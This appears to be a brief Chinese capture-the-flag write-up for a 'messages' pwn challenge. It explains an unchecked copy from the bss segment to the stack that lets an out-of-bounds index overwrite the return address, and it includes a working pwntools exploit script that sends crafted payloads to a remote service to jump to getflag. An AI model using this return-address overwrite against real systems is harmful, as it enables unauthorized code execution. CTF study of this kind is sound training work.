messages

该程序主要由intput_messages函数与print_messages函数组成,主要实现了先将输入的字符串存储到bss段上,再将字符串拷贝到栈上,由于输出时没有检测字符串最大个数,因此可以造成数组下标越界从而覆盖返回地址返回到getflag函数获得flag。

from pwn import*
io=remote('61.139.2.1',62280)

payload1=(b'aa\0'*16)[:-1]
payload2=b'\x01\x01\x00'*3+p64(0x401196)

io.sendlineafter('>',payload1)
io.sendlineafter('>',payload2)
io.sendlineafter('>',b'\n')

io.interactive()